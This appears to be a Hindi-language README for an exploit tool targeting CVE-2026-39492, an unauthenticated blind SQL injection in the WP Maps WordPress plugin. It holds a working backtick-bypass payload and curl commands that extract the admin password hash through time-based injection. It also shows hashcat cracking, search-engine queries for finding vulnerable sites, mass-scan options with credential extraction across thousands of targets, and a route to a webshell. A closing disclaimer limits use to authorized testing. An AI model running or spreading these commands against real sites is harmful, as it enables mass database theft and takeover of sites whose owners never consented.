
CVE-2026-39492 — WP Maps (wp-google-map-plugin) <= 4.9.1 अनप्रमाणित ब्लाइंड SQL इंजेक्शन मास स्कैनर | sqlmap-शैली का पता लगाना | बैकटिक बाईपास esc_sql() | 100K+ इंस्टॉल
CVE-2026-39492 WP Maps प्लगइन (wp-google-map-plugin) के ≤ 4.9.1 संस्करणों में एक गंभीर-गंभीरता (CVSS 9.3) अप्रमाणित ब्लाइंड SQL इंजेक्शन भेद्यता है।
wpgmp_ajax_call AJAX हैंडलर अप्रमाणित पहुँच के लिए wp_ajax_nopriv_ के माध्यम से पंजीकृत है। पैरामीटर से गुज़रता है — एक फ़ंक्शन जो को एक विश्वसनीय SQL कॉलम पहचानकर्ता के रूप में गलत तरीके से व्यवहार करता है, WordPress के सैनिटाइज़ेशन को पूरी तरह से बायपास करता है।
location_idFlipperCode_Model_Base::is_column()esc_sql()| WP Maps संस्करण | स्थिति |
|---|---|
| ≤ 4.9.1 | कमजोर |
| ≥ 4.9.2 | पैच किया गया |
सक्रिय इंस्टॉल: 100,000+
प्लगइन के डेटाबेस एब्स्ट्रक्शन लेयर में, is_column() जाँचता है कि क्या उपयोगकर्ता इनपुट बैकटिक में लिपटा है:
// कमजोर: बैकटिक-लिपटे इनपुट को विश्वसनीय कॉलम पहचानकर्ता माना जाता है
function is_column($value) {
if (preg_match('/^`.*`$/', $value)) {
return true; // esc_sql() को पूरी तरह से बायपास करता है!
}
return false;
}
जब is_column() true लौटाता है, तो इनपुट बिना esc_sql() एस्केपिंग के सीधे SQL क्वेरी में भेज दिया जाता है। यह अनुमति देता है:
location_id=`1` AND SLEEP(5) AND `1`=`1`
1. readme.txt के माध्यम से WP Maps का पता लगाएँ → संस्करण निकालें
2. /wp-admin/admin-ajax.php?action=wpgmp_ajax_call पर POST करें
3. location_id पैरामीटर में बैकटिक-लिपटे पेलोड इंजेक्ट करें
4. प्रतिक्रिया समय मापें — SLEEP(N) SQL इंजेक्शन की पुष्टि करता है
5. बुलियन/समय-आधारित ब्लाइंड तकनीक के माध्यम से डेटा निकालें
| मीट्रिक | मान |
|---|---|
| आक्रमण वेक्टर | नेटवर्क |
| आक्रमण जटिलता | कम |
| आवश्यक विशेषाधिकार | कोई नहीं |
| उपयोगकर्ता सहभागिता | कोई नहीं |
| दायरा | बदला गया (पूरे DB को प्रभावित करता है) |
| गोपनीयता | उच्च |
| अखंडता | कोई नहीं |
| उपलब्धता | कम |
git clone https://github.com/shinthink/CVE-2026-39492.git
cd CVE-2026-39492
pip install -r requirements.txt
# एकल लक्ष्य का पता लगाना
python cve_2026_39492.py -t target.com
# सामूहिक स्कैन
python cve_2026_39492.py -f targets.txt
# सामूहिक स्कैन + परिणाम सहेजें
python cve_2026_39492.py -f targets.txt -o sqli.txt
# एकल लक्ष्य जिसमें क्रेडेंशियल निष्कर्षण
python cve_2026_39492.py -t target.com --extract -v
# विस्तृत आउटपुट
python cve_2026_39492.py -t target.com -v
-t, --target एकल लक्ष्य (डोमेन या IP)
-f, --file लक्ष्य सूची, प्रति पंक्ति एक
-o, --output कमजोर लक्ष्यों को फ़ाइल में सहेजें
--threads समवर्ती कार्यकर्ता (डिफ़ॉल्ट: 20)
--extract पुष्टिकृत लक्ष्यों से व्यवस्थापक क्रेडेंशियल निकालें
-v, --verbose विस्तृत आउटपुट दिखाएँ
$ python cve_2026_39492.py -t target.com -v
CVE-2026-39492 — WP Maps ब्लाइंड SQL इंजेक्शन स्कैनर
CVSS 9.3 | प्री-प्रमाणीकरण | wpgmp_ajax_call → बैकटिक बाइपास
लक्ष्य: WP Maps (wp-google-map-plugin) <= 4.9.1
वेक्टर: admin-ajax.php?action=wpgmp_ajax_call → location_id
बाइपास: बैकटिक-लिपटे इनपुट esc_sql() को बायपास करता है
[+] WP Maps का पता चला: v4.9.0
[*] SQLi परीक्षण: 6.2s (थ्रेसहोल्ड: 5s)
[+] ब्लाइंड SQLi की पुष्टि हुई (प्रतिक्रिया: 6.2s)
होस्ट : target.com
WP Maps : हाँ v4.9.0
SQLi : हाँ
प्रतिक्रिया समय : 6.2s
समय : 7.1s
$ python cve_2026_39492.py -t target.com --extract -v
[+] ब्लाइंड SQLi की पुष्टि हुई (प्रतिक्रिया: 5.8s)
[*] ब्लाइंड SQLi के माध्यम से व्यवस्थापक क्रेडेंशियल निकाला जा रहा है...
[*] निकाला जा रहा है: admin_user
[*] निकाला जा रहा है: $P$BqVg...
व्यवस्थापक उपयोगकर्ता : admin_user
व्यवस्थापक हैश : $P$BqVg7xX...
CVE-2026-39492 WP Maps ब्लाइंड SQLi स्कैनर
लक्ष्य: 2500 | थ्रेड: 20
वेक्टर: wpgmp_ajax_call → location_id बैकटिक बाइपास
───────────────────────────────────────────────────────
[SQLi] target-vuln.com 6.2s v4.9.0 प्रतिक्रिया:6.2s
[SQLi] wp-maps-site.com 5.8s v4.8.5 प्रतिक्रिया:5.8s
[500/2500] 20% | WP Maps:47 SQLi:12 | current-target.com
───────────────────────────────────────────────────────
स्कैन पूर्ण | समय: 320s
───────────────────────────────────────────────────────
लक्ष्य : 2500
WP Maps मिले : 47
SQLi पुष्टि : 12
चरण 1 — प्लगइन का पता लगाएँ
curl -sk 'https://target.com/wp-content/plugins/wp-google-map-plugin/readme.txt' | head -5
चरण 2 — SLEEP के साथ SQLi का परीक्षण करें
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND SLEEP(5) AND `1`=`1'
# प्रतिक्रिया > 5 सेकंड → कमजोर
चरण 3 — ब्लाइंड SQLi के माध्यम से व्यवस्थापक हैश निकालें
# व्यवस्थापक हैश का पहला वर्ण जाँचें
time curl -sk -X POST 'https://target.com/wp-admin/admin-ajax.php' \
-d 'action=wpgmp_ajax_call' \
-d 'location_id=`1` AND IF(ASCII(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1))=36,SLEEP(3),0) AND `1`=`1'
# प्रतिक्रिया > 3 सेकंड → पहला वर्ण ASCII 36 = '$'
चरण 4 — हैश क्रैक करें और लॉगिन करें → पूर्ण RCE
hashcat -m 400 -a 0 admin_hash.txt /usr/share/wordlists/rockyou.txt
body="wp-google-map-plugin"
http.html:"wp-google-map-plugin"
सफल शोषण पूरे WordPress डेटाबेस को निकालने की अनुमति देता है:
SELECT ... INTO OUTFILE → वेबशेल → प्रत्यक्ष RCEकेवल शैक्षिक और अधिकृत परीक्षण उद्देश्यों के लिए।
यह सॉफ्टवेयर अधिकृत प्रवेश परीक्षण करने वाले सुरक्षा पेशेवरों, अपने स्वयं के बुनियादी ढांचे का ऑडिट करने वाले संगठनों, और भेद्यता शोषण का अध्ययन करने वाले शोधकर्ताओं के लिए है।
कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है और इसका उल्लंघन हो सकता है:
- संयुक्त राज्य अमेरिका: कंप्यूटर धोखाधड़ी और दुरुपयोग अधिनियम (18 यू.एस.सी. 1030)
- इंडोनेशिया: UU ITE धारा 30 और 46
- यूरोपीय संघ: निर्देश 2013/40/EU
- यूनाइटेड किंगडम: कंप्यूटर दुरुपयोग अधिनियम 1990
लेखक किसी भी दुरुपयोग के लिए कोई देयता नहीं मानते।
| संसाधन | लिंक |
|---|---|
| IONIX सलाह | ionix.io/threat-center/cve-2026-39492 |
| WPScan सलाह | wpscan.com/vulnerability/c1f19d2e |
| Wordfence सलाह | wordfence.com |
| NVD प्रविष्टि | CVE-2026-39492 |
| प्लगइन Trac | wp-google-map-plugin |
यह प्रोजेक्ट Flipper Code या WP Maps से संबद्ध नहीं है।